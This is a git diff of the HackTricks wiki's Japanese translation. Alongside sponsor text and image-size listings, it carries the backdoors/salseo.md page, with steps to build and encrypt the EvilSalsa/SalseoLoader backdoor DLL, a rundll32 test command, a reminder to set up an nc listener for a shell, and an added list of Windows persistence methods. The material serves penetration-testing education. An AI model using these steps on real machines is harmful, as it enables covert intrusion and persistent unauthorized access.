Translated ['README.md', 'backdoors/salseo.md', 'cryptography/certificat
After Width: | Height: | Size: 1.6 KiB |
Before Width: | Height: | Size: 1.6 KiB After Width: | Height: | Size: 16 KiB |
Before Width: | Height: | Size: 16 KiB After Width: | Height: | Size: 132 KiB |
Before Width: | Height: | Size: 132 KiB After Width: | Height: | Size: 20 KiB |
Before Width: | Height: | Size: 20 KiB After Width: | Height: | Size: 8.1 KiB |
Before Width: | Height: | Size: 8.1 KiB After Width: | Height: | Size: 51 KiB |
Before Width: | Height: | Size: 51 KiB After Width: | Height: | Size: 32 KiB |
Before Width: | Height: | Size: 32 KiB After Width: | Height: | Size: 39 KiB |
Before Width: | Height: | Size: 39 KiB After Width: | Height: | Size: 72 KiB |
Before Width: | Height: | Size: 72 KiB After Width: | Height: | Size: 322 KiB |
Before Width: | Height: | Size: 322 KiB After Width: | Height: | Size: 36 KiB |
Before Width: | Height: | Size: 36 KiB After Width: | Height: | Size: 34 KiB |
Before Width: | Height: | Size: 34 KiB After Width: | Height: | Size: 176 KiB |
Before Width: | Height: | Size: 176 KiB After Width: | Height: | Size: 152 KiB |
Before Width: | Height: | Size: 152 KiB After Width: | Height: | Size: 31 KiB |
Before Width: | Height: | Size: 31 KiB After Width: | Height: | Size: 71 KiB |
Before Width: | Height: | Size: 71 KiB After Width: | Height: | Size: 65 KiB |
Before Width: | Height: | Size: 65 KiB After Width: | Height: | Size: 42 KiB |
Before Width: | Height: | Size: 42 KiB After Width: | Height: | Size: 43 KiB |
Before Width: | Height: | Size: 43 KiB After Width: | Height: | Size: 79 KiB |
Before Width: | Height: | Size: 79 KiB After Width: | Height: | Size: 175 KiB |
After Width: | Height: | Size: 94 KiB |
Before Width: | Height: | Size: 94 KiB After Width: | Height: | Size: 199 KiB |
Before Width: | Height: | Size: 199 KiB After Width: | Height: | Size: 145 KiB |
Before Width: | Height: | Size: 145 KiB After Width: | Height: | Size: 1.2 MiB |
Before Width: | Height: | Size: 1.2 MiB After Width: | Height: | Size: 100 KiB |
Before Width: | Height: | Size: 100 KiB After Width: | Height: | Size: 12 KiB |
Before Width: | Height: | Size: 12 KiB After Width: | Height: | Size: 121 KiB |
Before Width: | Height: | Size: 121 KiB After Width: | Height: | Size: 7 KiB |
Before Width: | Height: | Size: 7 KiB After Width: | Height: | Size: 72 KiB |
Before Width: | Height: | Size: 72 KiB After Width: | Height: | Size: 60 KiB |
Before Width: | Height: | Size: 60 KiB After Width: | Height: | Size: 223 KiB |
Before Width: | Height: | Size: 223 KiB After Width: | Height: | Size: 27 KiB |
Before Width: | Height: | Size: 27 KiB After Width: | Height: | Size: 32 KiB |
Before Width: | Height: | Size: 32 KiB After Width: | Height: | Size: 15 KiB |
Before Width: | Height: | Size: 15 KiB After Width: | Height: | Size: 90 KiB |
Before Width: | Height: | Size: 90 KiB After Width: | Height: | Size: 15 KiB |
Before Width: | Height: | Size: 15 KiB After Width: | Height: | Size: 172 KiB |
After Width: | Height: | Size: 19 KiB |
Before Width: | Height: | Size: 19 KiB After Width: | Height: | Size: 78 KiB |
Before Width: | Height: | Size: 78 KiB After Width: | Height: | Size: 38 KiB |
Before Width: | Height: | Size: 38 KiB After Width: | Height: | Size: 795 KiB |
Before Width: | Height: | Size: 795 KiB After Width: | Height: | Size: 104 KiB |
Before Width: | Height: | Size: 104 KiB After Width: | Height: | Size: 17 KiB |
Before Width: | Height: | Size: 17 KiB After Width: | Height: | Size: 68 KiB |
Before Width: | Height: | Size: 68 KiB After Width: | Height: | Size: 154 KiB |
Before Width: | Height: | Size: 154 KiB After Width: | Height: | Size: 74 KiB |
Before Width: | Height: | Size: 74 KiB After Width: | Height: | Size: 14 KiB |
Before Width: | Height: | Size: 14 KiB After Width: | Height: | Size: 53 KiB |
Before Width: | Height: | Size: 53 KiB After Width: | Height: | Size: 15 KiB |
Before Width: | Height: | Size: 15 KiB After Width: | Height: | Size: 1 MiB |
After Width: | Height: | Size: 60 KiB |
Before Width: | Height: | Size: 60 KiB After Width: | Height: | Size: 13 KiB |
Before Width: | Height: | Size: 13 KiB After Width: | Height: | Size: 7.8 KiB |
Before Width: | Height: | Size: 7.8 KiB After Width: | Height: | Size: 48 KiB |
Before Width: | Height: | Size: 48 KiB After Width: | Height: | Size: 76 KiB |
Before Width: | Height: | Size: 76 KiB After Width: | Height: | Size: 36 KiB |
Before Width: | Height: | Size: 36 KiB After Width: | Height: | Size: 237 KiB |
Before Width: | Height: | Size: 237 KiB After Width: | Height: | Size: 56 KiB |
Before Width: | Height: | Size: 56 KiB After Width: | Height: | Size: 43 KiB |
Before Width: | Height: | Size: 43 KiB After Width: | Height: | Size: 708 KiB |
BIN
.gitbook/assets/image (5) (1) (1) (1) (1) (1).png
Normal file
After Width: | Height: | Size: 3.2 MiB |
Before Width: | Height: | Size: 3.2 MiB After Width: | Height: | Size: 82 KiB |
Before Width: | Height: | Size: 82 KiB After Width: | Height: | Size: 18 KiB |
Before Width: | Height: | Size: 18 KiB After Width: | Height: | Size: 111 KiB |
Before Width: | Height: | Size: 111 KiB After Width: | Height: | Size: 246 KiB |
Before Width: | Height: | Size: 246 KiB After Width: | Height: | Size: 201 KiB |
Before Width: | Height: | Size: 201 KiB After Width: | Height: | Size: 407 KiB |
54
README.md
|
@ -1,14 +1,15 @@
|
|||
# ハックトリック
|
||||
# ハックトリックス
|
||||
|
||||
<figure><img src=".gitbook/assets/hacktricks.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
_Hacktricksのロゴとモーションデザインは_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_によるものです。_
|
||||
_Hacktricksのロゴとモーションデザインは_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
**CTF、実際のアプリ、リサーチ、ニュースから学んだハッキングトリック/テクニック/その他を見つけるウィキへようこそ。**
|
||||
{% endhint %}
|
||||
|
||||
始めるには、1台以上の**マシンをペンテストする際に従うべき典型的なフロー**が記載されているこのページに従ってください:
|
||||
始めるには、1台以上の**マシンをペンテストする際に従うべき典型的なフロー**を見つけるこちらのページに従ってください:
|
||||
|
||||
{% content-ref url="generic-methodologies-and-resources/pentesting-methodology.md" %}
|
||||
[pentesting-methodology.md](generic-methodologies-and-resources/pentesting-methodology.md)
|
||||
|
@ -20,30 +21,31 @@ _Hacktricksのロゴとモーションデザインは_ [_@ppiernacho_](https://w
|
|||
|
||||
<figure><img src=".gitbook/assets/stm (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**STM Cyber**](https://www.stmcyber.com) は、**HACK THE UNHACKABLE**をスローガンに掲げる優れたサイバーセキュリティ企業です。彼らは独自の研究を行い、独自のハッキングツールを開発して、ペンテスト、Redチーム、トレーニングなどの貴重なサイバーセキュリティサービスを提供しています。
|
||||
[**STM Cyber**](https://www.stmcyber.com) は、**HACK THE UNHACKABLE**というスローガンを掲げる優れたサイバーセキュリティ企業です。彼らは独自の研究を行い、独自のハッキングツールを開発して、ペンテスト、Redチーム、トレーニングなどの貴重なサイバーセキュリティサービスを提供しています。
|
||||
|
||||
彼らの**ブログ**は[**https://blog.stmcyber.com**](https://blog.stmcyber.com)で確認できます。
|
||||
|
||||
**STM Cyber**は、HackTricksなどのサイバーセキュリティオープンソースプロジェクトもサポートしています :)
|
||||
**STM Cyber**は、HackTricksのようなサイバーセキュリティオープンソースプロジェクトもサポートしています :)
|
||||
|
||||
***
|
||||
|
||||
### [RootedCON](https://www.rootedcon.com/)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (4) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src=".gitbook/assets/image (4) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com) は、**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**で最も重要なイベントの1つです。**技術的知識の促進**を使命とするこの会議は、あらゆる分野のテクノロジーとサイバーセキュリティ専門家の熱い出会いの場です。
|
||||
[**RootedCON**](https://www.rootedcon.com) は、**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**で最も重要なイベントの1つです。技術的知識を促進する使命を持つこの会議は、あらゆる分野のテクノロジーとサイバーセキュリティ専門家の熱い出会いの場です。
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
***
|
||||
|
||||
### [Intigriti](https://www.intigriti.com)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src=".gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Intigriti**は、**ヨーロッパで最も優れた**倫理的ハッキングおよび**バグバウンティプラットフォーム**です。
|
||||
|
||||
**バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。ハッカーによって作成されたプレミアム**バグバウンティプラットフォーム**に参加しましょう!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**の報酬を獲得し始めましょう!
|
||||
**バグバウンティのヒント**: **Intigriti**に**サインアップ**して、ハッカーによって作成されたプレミアム**バグバウンティプラットフォーム**に参加しましょう!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**の報酬を獲得し始めましょう!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
|
@ -51,12 +53,12 @@ _Hacktricksのロゴとモーションデザインは_ [_@ppiernacho_](https://w
|
|||
|
||||
### [Trickest](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src=".gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も**高度なコミュニティツール**によって強化された**ワークフローを簡単に構築**および**自動化**できます。
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**できます。
|
||||
|
||||
今すぐアクセスしてください:
|
||||
今すぐアクセスを取得:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
@ -64,7 +66,7 @@ _Hacktricksのロゴとモーションデザインは_ [_@ppiernacho_](https://w
|
|||
|
||||
### [HACKENPROOF](https://bit.ly/3xrrDrL)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src=".gitbook/assets/image (5) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加しましょう!
|
||||
|
||||
|
@ -75,25 +77,25 @@ _Hacktricksのロゴとモーションデザインは_ [_@ppiernacho_](https://w
|
|||
リアルタイムのニュースと洞察を通じて、迅速なハッキングワールドについていく
|
||||
|
||||
**最新のアナウンスメント**\
|
||||
最新のバグバウンティの開始や重要なプラットフォームのアップデートに関する情報を入手
|
||||
最新のバグバウンティの開始や重要なプラットフォームの更新に関する情報を入手
|
||||
|
||||
**[Discord](https://discord.com/invite/N3FrSbmwdy)**に参加して、今日からトップハッカーと協力を始めましょう!
|
||||
**Discord**([**Discord**](https://discord.com/invite/N3FrSbmwdy))に参加して、今日からトップハッカーと協力を始めましょう!
|
||||
|
||||
***
|
||||
|
||||
### [Pentest-Tools.com](https://pentest-tools.com/) - エッセンシャルなペネトレーションテストツールキット
|
||||
|
||||
<figure><img src=".gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src=".gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**脆弱性評価およびペネトレーションテストのための即座に利用可能なセットアップ**。レコンからレポート作成まで、20以上のツールと機能を備えた完全なペンテストをどこからでも実行できます。私たちはペンテスターを置き換えるのではなく、彼らに時間を戻してより深く掘り下げたり、シェルをポップしたり、楽しんだりするためのカスタムツール、検出、およびエクスプロイトモジュールを開発しています。
|
||||
**脆弱性評価およびペネトレーションテストのための即座に利用可能なセットアップ**。20以上のツールと機能を備えたフルペンテストをどこからでも実行します。私たちはペンテスターを置き換えるのではなく、彼らに時間を戻してより深く掘り下げたり、シェルをポップしたり、楽しんだりするためのカスタムツール、検出、およびエクスプロイトモジュールを開発しています。
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
***
|
||||
|
||||
### [Try Hard Security Group](https://discord.gg/tryhardsecurity)
|
||||
\### [Try Hard Security Group](https://discord.gg/tryhardsecurity)
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src=".gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -103,11 +105,11 @@ _Hacktricksのロゴとモーションデザインは_ [_@ppiernacho_](https://w
|
|||
|
||||
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WebSec**](https://websec.nl) は、**アムステルダム**を拠点とするプロフェッショナルなサイバーセキュリティ企業であり、**最新のサイバーセキュリティ脅威**に対して**世界中の企業を保護**するために、**現代的なアプローチ**で**攻撃型セキュリティサービス**を提供しています。
|
||||
[**WebSec**](https://websec.nl) は、**アムステルダム**を拠点とするプロフェッショナルなサイバーセキュリティ企業であり、**最新のサイバーセキュリティ脅威に対して**ビジネスを**世界中**で保護するために、**現代的な**アプローチで**攻撃型セキュリティサービス**を提供しています。
|
||||
|
||||
WebSecは**オールインワンのセキュリティ企業**であり、すべてを行います。ペンテスト、**セキュリティ**監査、意識向上トレーニング、フィッシングキャンペーン、コードレビュー、エクスプロイト開発、セキュリティエキスパートの外部委託など。
|
||||
WebSecは**すべてを含むセキュリティ企業**であり、ペンテスト、**セキュリティ**監査、意識向上トレーニング、フィッシングキャンペーン、コードレビュー、エクスプロイト開発、セキュリティエキスパートの外部委託などを提供しています。
|
||||
|
||||
WebSecのもう1つの素晴らしい点は、業界平均とは異なり、WebSecは**自分たちのスキルに非常に自信**を持っており、その程度まで**最高品質の結果を保証**しています。彼らのウェブサイトには「**ハックできなければ、支払いはありません!**」と記載されています。詳細については、彼らの[**ウェブサイト**](https://websec.nl/en/)と[**ブログ**](https://websec.nl/blog/)をご覧ください!
|
||||
WebSecのもう1つの素晴らしい点は、業界平均とは異なり、WebSecは**自分たちのスキルに非常に自信を持っている**ということです。彼らのウェブサイトには「**ハックできなければ、支払いはありません!**」と記載されています。詳細については、彼らの[**ウェブサイト**](https://websec.nl/en/)と[**ブログ**](https://websec.nl/blog/)をご覧ください!
|
||||
|
||||
上記に加えて、WebSecはHackTricksの**熱心な支持者**でもあります。
|
||||
|
||||
|
@ -123,14 +125,14 @@ WebSecのもう1つの素晴らしい点は、業界平均とは異なり、WebS
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>**[htARTE(HackTricks AWS Red Team Expert)](https://training.hacktricks.xyz/courses/arte)**でAWSハッキングをゼロからヒーローまで学びましょう!</strong></summary>
|
||||
<summary><strong>**ゼロからヒーローまでのAWSハッキングを**</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>で学びましょう!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝したい**場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのスウォッグ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独自の[NFTs](https://opensea.io/collection/the-peass-family)コレクション
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つけましょう
|
||||
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**しましょう。
|
||||
* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出**してください。
|
||||
* **ハッキングトリックを共有するために**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出することで、HackTricksをサポートしてください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -353,6 +353,7 @@
|
|||
* [22 - Pentesting SSH/SFTP](network-services-pentesting/pentesting-ssh.md)
|
||||
* [23 - Pentesting Telnet](network-services-pentesting/pentesting-telnet.md)
|
||||
* [25,465,587 - Pentesting SMTP/s](network-services-pentesting/pentesting-smtp/README.md)
|
||||
* [SMTP Smuggling](network-services-pentesting/pentesting-smtp/smtp-smuggling.md)
|
||||
* [SMTP - Commands](network-services-pentesting/pentesting-smtp/smtp-commands.md)
|
||||
* [43 - Pentesting WHOIS](network-services-pentesting/43-pentesting-whois.md)
|
||||
* [49 - Pentesting TACACS+](network-services-pentesting/49-pentesting-tacacs+.md)
|
||||
|
|
|
@ -9,30 +9,30 @@ HackTricksをサポートする他の方法:
|
|||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)をフォローする
|
||||
- **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローする
|
||||
- **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のgithubリポジトリに提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
## バイナリのコンパイル
|
||||
|
||||
GitHubからソースコードをダウンロードし、**EvilSalsa**と**SalseoLoader**をコンパイルします。コードをコンパイルするには**Visual Studio**が必要です。
|
||||
githubからソースコードをダウンロードし、**EvilSalsa**と**SalseoLoader**をコンパイルします。コードをコンパイルするには**Visual Studio**がインストールされている必要があります。
|
||||
|
||||
これらのプロジェクトを、使用するWindowsボックスのアーキテクチャ用にコンパイルします(Windowsがx64をサポートしている場合は、そのアーキテクチャ用にコンパイルします)。
|
||||
|
||||
Visual Studio内で、**左側の"Build"タブ**内の**"Platform Target"**でアーキテクチャを選択できます。
|
||||
|
||||
(\*\*このオプションが見つからない場合は、**"Project Tab"**をクリックしてから**"\<Project Name> Properties"**をクリックします)
|
||||
(\*\*このオプションが見つからない場合は、**"Project Tab"**をクリックして、次に**"<Project Name> Properties"**をクリックします)
|
||||
|
||||
![](<../.gitbook/assets/image (132).png>)
|
||||
|
||||
その後、両方のプロジェクトをビルドします(Build -> Build Solution)(ログ内に実行可能ファイルのパスが表示されます):
|
||||
次に、両方のプロジェクトをビルドします(Build -> Build Solution)(ログ内に実行可能ファイルのパスが表示されます):
|
||||
|
||||
![](<../.gitbook/assets/image (1) (2) (1) (1) (1).png>)
|
||||
|
||||
## バックドアの準備
|
||||
|
||||
まず、**EvilSalsa.dll**をエンコードする必要があります。これを行うには、Pythonスクリプト**encrypterassembly.py**を使用するか、プロジェクト**EncrypterAssembly**をコンパイルできます:
|
||||
まず、**EvilSalsa.dll**をエンコードする必要があります。これを行うには、pythonスクリプト**encrypterassembly.py**を使用するか、プロジェクト**EncrypterAssembly**をコンパイルできます:
|
||||
|
||||
### **Python**
|
||||
```
|
||||
|
@ -41,7 +41,17 @@ python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.
|
|||
```
|
||||
### Windows
|
||||
|
||||
### ウィンドウズ
|
||||
Windowsシステムにバックドアを作成するためのいくつかの方法があります。以下はいくつかの一般的な手法です。
|
||||
|
||||
1. **レジストリ**: レジストリを使用して、システムが起動するたびにバックドアが自動的に実行されるように設定することができます。
|
||||
|
||||
2. **タスクスケジューラ**: タスクスケジューラを使用して、定期的にバックドアを実行するようにスケジュールすることができます。
|
||||
|
||||
3. **サービス**: システムサービスとしてバックドアを偽装することで、バックドアを実行し続けることができます。
|
||||
|
||||
4. **ファイルの置き換え**: システムファイルをバックドアに置き換えることで、システムが起動するたびにバックドアが実行されるようにすることができます。
|
||||
|
||||
これらの手法を使用することで、Windowsシステムにバックドアを効果的に作成し、アクセスを維持することが可能です。
|
||||
```
|
||||
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
|
||||
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
|
||||
|
@ -91,11 +101,11 @@ Visual Studioを使用してSalseoLoaderプロジェクトを開きます。
|
|||
|
||||
#### **ツール** --> **NuGetパッケージマネージャ** --> **ソリューションのNuGetパッケージを管理...**
|
||||
|
||||
![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
#### **DllExportパッケージを検索(ブラウズタブを使用)し、インストールを押して(ポップアップを受け入れて)**
|
||||
#### **DllExportパッケージを検索(Browseタブを使用)し、インストールを押して(ポップアップを受け入れる)**
|
||||
|
||||
![](<../.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
![](<../.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
プロジェクトフォルダに**DllExport.bat**と**DllExport\_Configure.bat**というファイルが表示されます
|
||||
|
||||
|
@ -105,13 +115,13 @@ Visual Studioを使用してSalseoLoaderプロジェクトを開きます。
|
|||
|
||||
![](<../.gitbook/assets/image (5) (1) (1) (2) (1).png>)
|
||||
|
||||
### Visual Studioを終了してDllExport\_configureを実行
|
||||
### Visual Studioを終了し、DllExport\_configureを実行
|
||||
|
||||
Visual Studioを**終了**します
|
||||
単にVisual Studioを**終了**します
|
||||
|
||||
その後、**SalseoLoaderフォルダ**に移動して**DllExport\_Configure.bat**を実行します
|
||||
その後、**SalseoLoaderフォルダ**に移動し、**DllExport\_Configure.bat**を実行します
|
||||
|
||||
**x64**を選択します(x64ボックス内で使用する場合、私の場合はそうでした)、**System.Runtime.InteropServices**(**DllExportのNamespace**内)を選択して**Apply**を押します
|
||||
**x64**を選択します(x64ボックス内で使用する場合、私の場合はそうでした)、**System.Runtime.InteropServices**(**DllExportのNamespace**内)を選択し、**Apply**を押します
|
||||
|
||||
![](<../.gitbook/assets/image (7) (1) (1) (1) (1).png>)
|
||||
|
||||
|
@ -123,7 +133,7 @@ Visual Studioを**終了**します
|
|||
|
||||
### ソリューションをビルド
|
||||
|
||||
**出力タイプ = クラスライブラリ**を選択します(プロジェクト --> SalseoLoaderのプロパティ --> アプリケーション --> 出力タイプ = クラスライブラリ)
|
||||
**Output Type = Class Library**を選択します(プロジェクト --> SalseoLoaderのプロパティ --> アプリケーション --> 出力タイプ = Class Library)
|
||||
|
||||
![](<../.gitbook/assets/image (10) (1).png>)
|
||||
|
||||
|
@ -135,17 +145,17 @@ Visual Studioを**終了**します
|
|||
|
||||
### 生成されたDllをテスト
|
||||
|
||||
生成されたDllをテストしたい場所にコピーして貼り付けます。
|
||||
DLLをテストしたい場所にコピーして貼り付けます。
|
||||
|
||||
実行:
|
||||
```
|
||||
rundll32.exe SalseoLoader.dll,main
|
||||
```
|
||||
もしエラーが表示されない場合は、おそらく機能するDLLを持っています!!
|
||||
もしエラーが表示されない場合、おそらく機能するDLLを持っています!!
|
||||
|
||||
## DLLを使用してシェルを取得する
|
||||
|
||||
**HTTPサーバー**を使用して**ncリスナー**を設定することを忘れないでください
|
||||
**HTTP** **サーバー**を使用して、**nc** **リスナー**を設定することを忘れないでください
|
||||
|
||||
### Powershell
|
||||
```
|
||||
|
@ -169,14 +179,14 @@ rundll32.exe SalseoLoader.dll,main
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見る
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**し、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)で**フォロー**してください**。**
|
||||
* **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください**。
|
||||
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手してください
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見してください
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** をフォローしてください。**
|
||||
* **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github リポジトリに提出してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,174 +2,198 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong>を使って、**ゼロからヒーローまでAWSハッキングを学ぶ**</summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong>を使用して、**ゼロからヒーローまでAWSハッキングを学ぶ**!</summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**@hacktricks_live**をフォローする
|
||||
- **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
|
||||
* **HackTricks で企業を宣伝したい**場合や**HackTricks をPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
